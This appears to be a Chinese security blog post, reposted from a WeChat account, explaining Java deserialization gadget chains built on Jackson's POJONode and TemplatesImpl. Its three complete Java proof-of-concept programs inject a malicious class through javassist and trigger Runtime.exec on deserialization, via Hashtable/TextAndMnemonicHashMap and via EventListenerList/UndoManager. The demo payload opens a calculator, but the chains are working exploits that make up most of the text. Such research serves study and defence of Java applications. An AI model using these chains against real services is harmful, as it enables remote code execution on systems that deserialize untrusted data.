package jackson;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import java.util.HashMap;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Constructor;import java.util.Hashtable;import java.util.Map;import java.lang.reflect.Field;public class Main { public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; //修改类方法 CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace"); //也可以直接删去这个类 ctClass.removeMethod(ctMethod); ctClass.toClass(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode node = new POJONode(templates); Constructor constructor = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getDeclaredConstructor(); constructor.setAccessible(true); Map text = (Map)constructor.newInstance(); text.put(node,null); HashMap hashMap1 = new HashMap(); hashMap1.put(node,null); Hashtable table = new Hashtable(); table.put(hashMap1,"1"); table.put(text,"1"); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
这样就可以稳定在序列化前按照预期成功调用一次调用链。值得注意的是,由于为了保证hash值相同,这里让hashMap1的value也改成了null,那么此时在AbstractMap类的equals()方法调用get()方法也有改变:
由于将value改成了null,所以这里value返回值也是null,进入了第一个if条件,还是调用到了一次get()方法,后面就都是预期的了。
那么反序列化如何绕过呢,前面给出的POC已经可以说明了,在Hashtable放入值时直接让hash值不同从而可以正常放入,后面再调用put()方法来进行一次更新值的操作,所以最后的POC如下:
package jackson;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Constructor;import java.util.Hashtable;import java.util.Map;import java.lang.reflect.Field;public class Main { public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; //修改类方法 CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace"); //也可以直接删去这个类 ctClass.removeMethod(ctMethod); ctClass.toClass(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode node = new POJONode(templates); Constructor constructor = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getDeclaredConstructor(); constructor.setAccessible(true); Map text0 = (Map)constructor.newInstance(); text0.put(node,"aa1"); Map text1 = (Map)constructor.newInstance(); text1.put(node,"aa2"); Hashtable table = new Hashtable(); table.put(text1,"1"); table.put(text0,"1"); text0.put(node,null); text1.put(node,null); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(table); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); in.readObject(); in.close(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
经测试发现如果是想使用HashMap和TextAndMnemonicHashMapl作为Hashtable中的两个键,在Hashtable的反序列化时,先后顺序会发生改变,这个问题我在JD7u21原生链提过,这里不再多说,使用上面的代码就行了。
总结:
-
• 得抓一下重点呀,就那一个点,也是比较关键的一点,构造代码时没注意到。还是卡了一段时间。
EventListenerList
这个类位于javax.swing.event.EventListenerList,同样是可以调用任意类的getter方法,先来跟进这个类的readObject()方法:
然后跟进这里的add()方法:
当l不是t的类或接口的实例化时,这里就会进入抛出异常的操作,但是这里的抛出异常的操作是进行了一个字符串拼接的操作,所以只要控制得好l,那么久可以调用任意类的toString()方法。再回过去看参数传递的要求:
这里的forName()方法,正好是当时学反射时说明了的,虽然有几个参数传递,但是其实就是相当于调用的forName(),这里的cl就是一个类加载器,也就是可以获取到一个Class对象,然后看这里的l,可以知道是从数据读出并且有一个强制类型转换,也就是要求其为一个与EventListener有关联的对象。再看一下EventListenerList类的writeObject()方法:
大概就可以知道这里的序列化所需的变量了,并且可以和反序列化对应起来,有在反序列化利用的可能性。
那么在这里可以利用到的是javax.swing.undo.UndoManager类,它的接口UndoableEditListener是java.util.EventListener的子类,跟进这个类的toString()方法:
这里调用了父类的toString()方法,还调用了两个变量,但是这两个变量都定义为int类型:
int indexOfNextAdd;int limit;
无法利用,继续跟进父类CompoundEdit的toString()方法:
看此时这两个变量的定义:
可以看到inProgress是布尔型,而edits在实例化时会赋值为一个Vector类实例,并且UndoManager类实例化时久可以保证这个父类也实例化,再看CompoundEdi类的toString()方法,同样是字符串拼接的操作,所以可以调用到Vector类的toString()方法:
再跟进父类AbstractCollection的toString()方法:
跟进这里的append()方法:
这里的value()方法可以调用到任意类的toString()方法:
个人觉得利用点是前面图中用框标出来的append方法,那么就可以尝试进行构造了,就简单说明几个点:
EventListenerList无构造方法,需要利用到Object[]类型的listenerList变量,反射修改即可,一定要看懂writeObject()的逻辑,这样才能构造出来。
另外的一个比较重要的点就是如下:
怎么控制这个e为任意类型。重点就在于这个iterator()方法,再回想一下整个过程,到这一步的toString()方法,已经是和Vector类相关了,也就是说这里的self为Vector类实例,并且简单构造代码调试也是如预期的,而在Vector类的iterator()方法,是返回的一个内部类Itr实例:
里面就定义了一些简单的next()函数用于迭代,在原先的toString()方法中,可以知道是,跟进next()函数最后返回的elementData:
其实就是返回存储在这个当中的值,所以我们肯定是要将node放进这个数组当中的。对于这个elementData数组,Vector类定义了很多方法来进行操作,如insertElementAt:
等。
所以这也是可以操作的,但是要怎么将这个设计好的Vector类插入进去呢?在原本的利用链中,是直接将Vector实例化的:
还是反射进行修改,具体看下面的POC即可:
package jackson;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.swing.undo.UndoManager;import javax.swing.event.EventListenerList;import java.lang.reflect.Field;import java.util.Vector;public class Main { public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd = "java.lang.Runtime.getRuntime().exec("open -a Calculator");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; //修改类方法 CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace"); //也可以直接删去这个类 ctClass.removeMethod(ctMethod); ctClass.toClass(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode node = new POJONode(templates); UndoManager undo = new UndoManager(); Object[] x = new Object[]{String.class, undo}; EventListenerList listenerList = new EventListenerList(); setFieldValue(listenerList, "listenerList", x); Vector vector = (Vector) getFieldValue(undo, "edits"); vector.add(node); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(listenerList); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); in.readObject(); in.close(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static Object getFieldValue(Object obj, String fieldName) throws Exception { Class clazz = obj.getClass(); while (clazz != null) { try { Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); return field.get(obj); } catch (Exception e) { clazz = clazz.getSuperclass(); } } return null; }}
就可以在反序列化时弹出计算机了。一个非常好的获取到父类的变量并进行修改或者设置值的代码设计,多学习。
——————
参考文章:
https://www.cnblogs.com/gaorenyusi/p/18411269
https://xz.aliyun.com/news/14924?time__1311=eqUxuDBD0AGQBD7qGNcjDA2A%2BAqY5mKfxx&u_atoken=634642368fa712ac87bbdc71d6c17d07&u_asig=0a472f9217430687398891321e0048
https://xz.aliyun.com/news/14169?u_atoken=cc132e497818eb0c240edb80bb120546&u_asig=0a472f9217430687458091642e0048
https://boogipop.com/2023/06/20/Jackson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%80%9A%E6%9D%80Web%E9%A2%98/
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):JavaSec | jackson反序列化通杀链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论